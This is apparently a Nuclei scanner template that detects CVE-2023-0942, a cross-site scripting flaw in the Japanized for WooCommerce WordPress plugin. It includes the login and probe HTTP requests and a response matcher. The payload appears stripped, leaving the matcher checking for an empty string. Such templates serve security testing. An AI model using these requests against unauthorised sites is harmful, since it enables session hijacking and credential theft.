id: CVE-2023-0942 info: name: WordPress Japanized for WooCommerce <2.5.5 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | WordPress Japanized for WooCommerce plugin before 2.5.5 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: Fixed in version 2.5.5. reference: - https://wpscan.com/vulnerability/71aa9460-6dea-49cc-946c-d7d4bf723511 - https://wordpress.org/plugins/woocommerce-for-japan/ - https://plugins.trac.wordpress.org/browser/woocommerce-for-japan/trunk/includes/admin/views/html-admin-setting-screen.php#L63 - https://nvd.nist.gov/vuln/detail/CVE-2023-0942 - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2868545%40woocommerce-for-japan%2Ftrunk&old=2863064%40woocommerce-for-japan%2Ftrunk&sfp_email=&sfph_mail= classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-0942 cwe-id: CWE-79 epss-score: 0.00445 epss-percentile: 0.74926 cpe: cpe:2.3:a:artisanworkshop:japanized_for_woocommerce:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: artisanworkshop product: japanized_for_woocommerce framework: wordpress tags: cve2023,cve,woocommerce-for-japan,wp,wpscan,wordpress,authenticated,xss,woocommerce,plugin,artisanworkshop http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=wc4jp-options&tab=a HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(body_2, "") && contains(body_2, "woocommerce-for-japan")' condition: and # digest: 490a0046304402204678900739d421af66218eedfb37d3b4faaec14cc9fab315b639805bbe64fb4602203c9b3d648bcf22dbded8fe022042b2eda178e4baee5ae3b293cc8ca90ae43cc1:922c64590222798bb761d5b6d8e72950